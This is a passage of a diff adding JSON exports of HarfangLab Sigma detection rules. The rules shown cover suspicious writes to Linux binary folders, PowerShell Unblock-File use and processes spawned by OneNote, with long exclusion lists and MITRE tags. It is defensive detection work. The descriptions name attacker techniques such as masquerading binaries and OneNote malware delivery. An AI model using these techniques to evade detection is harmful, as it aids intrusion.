'/var/lib/dpkg/info/*.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n            - 'yum update'\n            - 'yum upgrade'\n            - 'yum install'\n            - 'sudo yum update'\n            - 'sudo yum upgrade'\n            - 'sudo yum install'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n            - 'yum update'\n            - 'yum upgrade'\n            - 'yum install'\n            - 'sudo yum update'\n            - 'sudo yum upgrade'\n            - 'sudo yum install'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n            - 'yum update'\n            - 'yum upgrade'\n            - 'yum install'\n            - 'sudo yum update'\n            - 'sudo yum upgrade'\n            - 'sudo yum install'\n    exclusion_dnf:\n        - ProcessImage: '/usr/bin/dnf5'\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? -s /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n            - '/usr/bin/python?.? -s /usr/bin/dnf-automatic'\n            - 'dnf update'\n            - 'dnf upgrade'\n            - 'dnf install'\n            - 'sudo dnf update'\n            - 'sudo dnf upgrade'\n            - 'sudo dnf install'\n            - '/usr/bin/python? /usr/bin/dnf-3 '\n            - '/usr/bin/python?.? /usr/bin/dnf-3 '\n            - '/usr/bin/python? -s /usr/bin/dnf '\n            - '/usr/bin/python?.? -s /usr/bin/dnf '\n            - '/usr/bin/dnf5 builddep --installroot '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n            - 'dnf update'\n            - 'dnf upgrade'\n            - 'dnf install'\n            - 'sudo dnf update'\n            - 'sudo dnf upgrade'\n            - 'sudo dnf install'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n            - 'dnf update'\n            - 'dnf upgrade'\n            - 'dnf install'\n            - 'sudo dnf update'\n            - 'sudo dnf upgrade'\n            - 'sudo dnf install'\n    exclusion_rpm:\n        ProcessImage: '/usr/bin/rpm'\n    exclusion_pacman:\n        ProcessImage: '/usr/bin/pacman'\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n    exclusion_packagekitd:\n        ProcessImage: '/usr/libexec/packagekitd'\n    exclusion_flatpak:\n        ProcessImage: '/usr/libexec/flatpak-system-helper'\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n\n    exclusion_hurukai:\n        ProcessImage: '/opt/hurukai-agent/bin/hurukai'\n\n    exclusion_systemd:\n        ProcessImage: '/usr/lib/systemd/systemd'\n        ProcessCommandLine|startswith: '/sbin/init'\n\n    exclusion_usrmerge:\n        ProcessCommandLine: '/usr/bin/perl /usr/lib/usrmerge/convert-usrmerge'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n        - ProcessAncestors|contains:\n            - '/usr/bin/runc|/usr/bin/dockerd|'\n            - '/snap/docker/*/bin/runc|/snap/docker/*/bin/dockerd|'\n\n    exclusion_podman:\n        ProcessImage: '/usr/bin/podman'\n\n    exclusion_initramfs:\n        - ProcessParentCommandLine|contains:\n            - '/sbin/mkinitramfs'\n            - '/usr/sbin/mkinitramfs'\n        - ProcessGrandparentCommandLine|contains:\n            - '/sbin/mkinitramfs'\n            - '/usr/sbin/mkinitramfs'\n\n    exclusion_kaniko:\n        ProcessImage: '/kaniko/executor'\n\n    exclusion_oracle_cloud:\n        - ProcessParentImage: '/snap/oracle-cloud-agent/*/plugins/unifiedmonitoring/unifiedmonitoring'\n        - ProcessGrandparentImage: '/snap/oracle-cloud-agent/*/plugins/unifiedmonitoring/unifiedmonitoring'\n\n    exclusion_nagios_xi:\n        ProcessParentCommandLine|contains: '/nagiosxi/scripts/manage_services.sh '\n\n    exclusion_alternatives:\n        ProcessImage:\n            - '/usr/sbin/alternatives'\n            - '/usr/bin/update-alternatives'\n\n    exclusion_ubiquity:\n        ProcessCommandLine: '/sbin/init maybe-ubiquity'\n\n    exclusion_axway:\n        ProcessImage: '/usr/bin/Axway/Automator/PServer/bin/opscmd'\n\n    exclusion_crio:\n        ProcessImage: '/usr/bin/crio'\n\n    exclusion_containerd:\n        - ProcessImage: '/usr/bin/containerd'\n        - ProcessAncestors|contains: '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_gitlab:\n        ProcessParentCommandLine: '/bin/bash /opt/gitlab/embedded/bin/symlink_ctl_cmds /opt/gitlab'\n\n    exclusion_vtom:\n        ProcessParentCommandLine|startswith:\n            - 'ksh install_vtom '\n            - '/bin/ksh /opt/vtom/abm/'\n\n    exclusion_rke2_containerd:\n        ProcessImage: '/var/lib/rancher/rke2/data/*/bin/containerd'\n        ProcessParentImage: '/usr/local/bin/rke2'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_wmware:\n        ProcessImage: '/tmp/vmis.*/install/vmware-installer/vmis-launcher'\n\n    exclusion_nvidia:\n        ProcessImage:\n            - '/usr/bin/nvidia-installer'\n            - '/tmp/*/nvidia-linux-*/nvidia-installer'\n\n    exclusion_rsync:\n        # A lot of sysadmin use rsync to backup their systems, which triggers an enormous amount of false positives\n        ProcessImage: '/usr/bin/rsync'\n\n    exclusion_rubrik:\n        Path|startswith: '/usr/bin/rubrik/'\n        ProcessImage:\n            - '/usr/bin/rubrik/bootstrap_agent_main'\n            - '/usr/bin/rubrik/backup_agent_main'\n\n    exclusion_qemu:\n        ProcessImage: '/usr/bin/qemu-*-static'\n        ProcessParentImage: '/usr/bin/qemu-*-static'\n\n    exclusion_bitdefender:\n        ProcessImage|endswith: '/bitdefender-security-tools/bin/bdsecd'\n        ProcessParentImage|endswith: '/systemd'\n\n    exclusion_buildah1:\n        ProcessCommandLine|startswith: 'storage-untar'\n        ProcessParentImage: '/usr/bin/buildah'\n\n    exclusion_buildah2:\n        - ProcessCommandLine|startswith: 'buildah-in-a-user-namespace'\n        - ProcessGrandparentCommandLine|startswith:\n            - 'buildah from'\n            - 'buildah build'\n            - 'buildah commit'\n        - ProcessParentCommandLine|startswith:\n            - 'buildah from'\n            - 'buildah build'\n            - 'buildah commit'\n\n    exclusion_python_installations:\n        ProcessCommandLine|startswith:\n            - 'python3 -m pip install'\n            - 'python -m pip3 install'\n            - 'python3 -m pip3 install'\n            - 'python -m pip install'\n            - 'python3 -m ensurepip'\n            - 'python -m ensurepip'\n            - '/usr/bin/python3 /usr/bin/pip install'\n            - '/usr/bin/python3 /usr/bin/pip3 install'\n            - '/usr/bin/python /usr/bin/pip install'\n            - '/usr/bin/python /usr/bin/pip3 install'\n            - '/usr/bin/python3 -m /usr/bin/pip install'\n            - '/usr/bin/python -m /usr/bin/pip3 install'\n            - '/usr/bin/python3 -m /usr/bin/pip3 install'\n            - '/usr/bin/python -m /usr/bin/pip install'\n            - '/usr/bin/python3 -m pip install'\n            - '/usr/bin/python -m pip3 install'\n            - '/usr/bin/python3 -m pip3 install'\n            - '/usr/bin/python -m pip install'\n            - '/usr/bin/python3 -m ensurepip'\n            - '/usr/bin/python -m ensurepip'\n\n    exclusion_ln:\n        ProcessImage: '/usr/bin/ln'\n\n    exclusion_convert-usrmerg:\n        ProcessParentCommandLine: '/usr/bin/perl /usr/lib/usrmerge/convert-usrmerge'\n\n    exclusion_convert2rhel:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python2 /bin/convert2rhel '\n            - '/usr/bin/python2 /usr/bin/convert2rhel '\n\n    exclusion_elastic:\n        ProcessCommandLine|contains: '/elastic-agent install --url='\n        Path: '/usr/bin/elastic-agent'\n\n    exclusion_temp_file:\n        - ProcessImage:\n            - '/usr/bin/vim'\n            - '/usr/bin/vim.basic'\n          Path|endswith:\n            - '.swp'\n            - '.swx'\n        - ProcessImage: '/usr/bin/sed'\n          Path: '/usr/bin/sed??????'\n        - ProcessImage: '/usr/bin/sed'\n          TargetPath: '/usr/bin/sed??????'\n\n    exclusion_commvault:\n        ProcessImage|endswith: '/commvault/.gxsetup/silent_install/install'\n\n    exclusion_pum_worker:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python? -Estt /usr/local/psa/admin/sbin/pum_worker '\n            - '/usr/libexec/platform-python -Estt /usr/local/psa/admin/sbin/pum_worker '\n\n    exclusion_microdnf:\n        ProcessImage: '/usr/bin/microdnf'\n\n    exclusion_touch:\n        ProcessImage: '/usr/bin/touch'\n\n    exclusion_make:\n        - ProcessImage: '/usr/bin/cmake'\n        - ProcessAncestors|contains: '|/usr/bin/make|'\n\n    exclusion_vmware:\n        ProcessCommandLine:\n            - '/usr/bin/perl -w ./vmware-install.pl --default'\n            - '/usr/bin/perl -w /usr/bin/vmware-config-tools.pl --default --log-answers --rpc-on-end --preserve --installing'\n        Path:\n            - '/usr/bin/vm-support'\n            - '/usr/bin/vmware-uninstall-tools.pl'\n            - '/usr/bin/vmware-config-tools.pl'\n            - '/sbin/mount.vmhgfs'\n            - '/usr/sbin/mount.vmhgfs'\n\n    exclusion_plesk:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python -Estt /usr/local/psa/bin/yum_install '\n            - '/usr/libexec/platform-python -Estt /usr/local/psa/bin/dnf_install '\n\n    exclusion_image:\n        ProcessImage:\n            - '/usr/bin/pamac-daemon'\n            - '/opt/saltstack/salt/bin/python*'\n            - '/usr/bin/lua'\n            - '/usr/bin/install'\n            - '/usr/bin/tar'\n            - '/usr/sbin/prelink'\n\n    exclusion_vim:\n        ProcessImage:\n            - '/usr/bin/vi'\n            - '/usr/bin/vim'\n            - '/usr/bin/vim.basic'\n        Path|endswith:\n            - '.swp'\n            - '.swpx'\n\n    exclusion_aws:\n        ProcessAncestors|contains: '/install_agent|*/aws-replication-installer-init|'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5c3f0f0f-0082-4863-ba3a-b9b746772135",
+  "rule_name": "Suspicious Write in the Binary Folder",
+  "rule_description": "Detects a suspicious write to one of the common binary folders (\"/bin/\", \"/sbin\", \"/usr/bin/\", \"/usr/sbin/\").\nAdversaries may try to match the name of a legitimate system binary when creating a malicious executable.\nIt is recommended to ensure that the process writing to those directories is a legitimate installer and that the file being installed isn't malicious.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005",
+    "attack.t1554"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5c6a55b5-b600-4835-83fb-e4aa42b6a014",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621805Z",
+  "creation_date": "2026-03-23T11:45:34.621807Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621811Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file",
+    "https://www.logpoint.com/en/blog/hunting-and-remediating-blackcat-ransomware/",
+    "https://attack.mitre.org/techniques/T1553/005/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1553_005_powershell_suspicious_unblock_cmdlet.yml",
+  "content": "title: Suspicious Unblock-File cmdlet via PowerShell\nid: 5c6a55b5-b600-4835-83fb-e4aa42b6a014\ndescription: |\n    Detects the suspicious usage of the Unblock-File PowerShell cmdlet.\n    This cmdlet removes the Zone.Identifier alternate data stream from a file.\n    This alternate data stream can have a value of 3 indicating that it was downloaded from the internet.\n    This technique can be used to unblock PowerShell script files to avoid opening them in protected view.\n    It is recommended to investigate the execution chain of the process calling the Unblock-File cmdlet to look for malicious behavior.\nreferences:\n    - https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file\n    - https://www.logpoint.com/en/blog/hunting-and-remediating-blackcat-ransomware/\n    - https://attack.mitre.org/techniques/T1553/005/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/06/14\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.005\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\n\ndetection:\n    selection:\n        PowershellCommand|contains: 'Unblock-File '\n\n    exclusion_ixbus:\n        ProcessCommandLine: 'Powershell.exe -executionpolicy unrestricted -File ?:\\\\*\\iXBus Serveur\\\\*'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_image:\n        ProcessParentImage: '?:\\Program Files (x86)\\DesktopCentral_Agent\\bin\\dctask64.exe'\n\n    exclusion_commandline:\n        - ProcessCommandLine|contains: '\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageSystemTools\\'\n        - ProcessParentCommandLine|contains:\n            - '\\Program Files (x86)\\FOG\\FOGService.exe'\n            - '\\flutter\\bin\\'\n            - '\\sysmgmt\\sd_store\\\\*\\precheck'\n        - ProcessGrandparentCommandLine|contains: '\\Windows\\AdminArsenal\\PDQDeployRunner\\'\n\n    exclusion_ccm:\n        PowershellScriptPath|startswith: '?:\\WINDOWS\\ccmcache\\'\n        ProcessAncestors|contains: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5c6a55b5-b600-4835-83fb-e4aa42b6a014",
+  "rule_name": "Suspicious Unblock-File cmdlet via PowerShell",
+  "rule_description": "Detects the suspicious usage of the Unblock-File PowerShell cmdlet.\nThis cmdlet removes the Zone.Identifier alternate data stream from a file.\nThis alternate data stream can have a value of 3 indicating that it was downloaded from the internet.\nThis technique can be used to unblock PowerShell script files to avoid opening them in protected view.\nIt is recommended to investigate the execution chain of the process calling the Unblock-File cmdlet to look for malicious behavior.\n",
+  "rule_creation_date": "2022-06-14",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1553.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5c90af83-d510-4bab-9999-c5318f2ae93e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073838Z",
+  "creation_date": "2026-03-23T11:45:34.073840Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073845Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://opalsec.substack.com/p/the-defenders-guide-to-onenote-maldocs",
+    "https://blog.sevagas.com/IMG/pdf/redteam_with_onenote.pdf",
+    "https://attack.mitre.org/techniques/T1566/",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_onenote_parent.yml",
+  "content": "title: Suspicious Process Spawned by Microsoft OneNote\nid: 5c90af83-d510-4bab-9999-c5318f2ae93e\ndescription: |\n    Detects a suspicious child process started from the Microsoft OneNote application.\n    OneNote has become, since the beginning of the year 2023, a fixture in malware delivery, generally used by tricking an user to click on embedded malicious files (hta, exe, ppt...).\n    Other files such as JavaScript (.js) or VisualBasic (.vbe) can be used as well.\n    It is recommended to investigate the process spawned by OneNote and other potentially malicious activities on the machine.\nreferences:\n    - https://opalsec.substack.com/p/the-defenders-guide-to-onenote-maldocs\n    - https://blog.sevagas.com/IMG/pdf/redteam_with_onenote.pdf\n    - https://attack.mitre.org/techniques/T1566/\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2023/02/06\nmodified: 2025/04/18\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\ONENOTE.EXE'\n        CurrentDirectory|contains:\n             - '\\Exported'\n             - '\\onenoteofflinecache_files'\n\n    filter_browsers:\n        OriginalFileName:\n            - 'msedge.exe'\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'firefox.exe'\n            - 'iexplore.exe'\n            - 'librewolf.exe'\n            - 'chromium.exe'\n            - 'safari.exe'\n    filter_office:\n        OriginalFileName:\n            - 'EXCEL.EXE'\n            - 'OUTLOOK.EXE'\n            - 'FileCoAuth.exe' # Outlook\n            - 'ONENOTEM.EXE'\n            - 'OneNote.exe'\n            - 'WINWORD.EXE'\n            - 'POWERPNT.EXE'\n            - 'CLVIEW.exe'\n            - 'VISIO.EXE'\n    filter_pdf_readers:\n        - OriginalFileName:\n            - 'Acrobat.exe'\n            - 'AcroRd32.exe'\n            - 'FoxitPDFReader.EXE'\n            - 'Foxit Reader.EXE'\n            - 'Nitro Pro'\n            - 'soda.exe'\n            - 'GaaihoDoc.exe'\n        - Signature: 'FOXIT SOFTWARE INC.'\n\n    exclusion_programfiles:\n        Image:\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n\n    exclusion_fontview:\n        ProcessImage:\n            - '?:\\Windows\\System32\\fontview.exe'\n            - '?:\\Windows\\SysWOW64\\fontview.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_xpsrchvw:\n        ProcessImage:\n            - '?:\\Windows\\System32\\xpsrchvw.exe'\n            - '?:\\Windows\\SysWOW64\\xpsrchvw.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_mspaint:\n        ProcessImage:\n            - '?:\\Windows\\System32\\mspaint.exe'\n            - '?:\\Windows\\SysWOW64\\mspaint.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_notepad:\n        ProcessImage:\n            - '?:\\Windows\\System32\\notepad.exe'\n            - '?:\\Windows\\SysWOW64\\notepad.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_code:\n        ProcessOriginalFileName: 'electron.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_pdf:\n        Image|endswith: '\\PDF Viewer\\PDFXCview.exe'\n        ProcessOriginalFileName: 'PDFXCview.exe'\n\n    exclusion_xmind:\n        ProcessInternalName: 'Xmind'\n        ProcessSigned: 'true'\n        ProcessSignature: 'XMind Ltd.'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5c90af83-d510-4bab-9999-c5318f2ae93e",
+  "rule_name": "Suspicious Process Spawned by Microsoft OneNote",
+  "rule_description": "Detects a suspicious child process started from the Microsoft OneNote application.\nOneNote has become, since the beginning of the year 2023, a fixture in malware delivery, generally used by tricking an user to click on embedded malicious files (hta, exe, ppt...).\nOther files such as JavaScript (.js) or VisualBasic (.vbe) can be used as well.\nIt is recommended to investigate the process spawned by OneNote and other potentially malicious activities on the machine.\n",
+  "rule_creation_date": "2023-02-06",
+  "rule_modified_date": "2025-04-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002",
+    "attack.t1218",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5ccea6af-f31b-4f4c-8750-a0295d7ea415",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
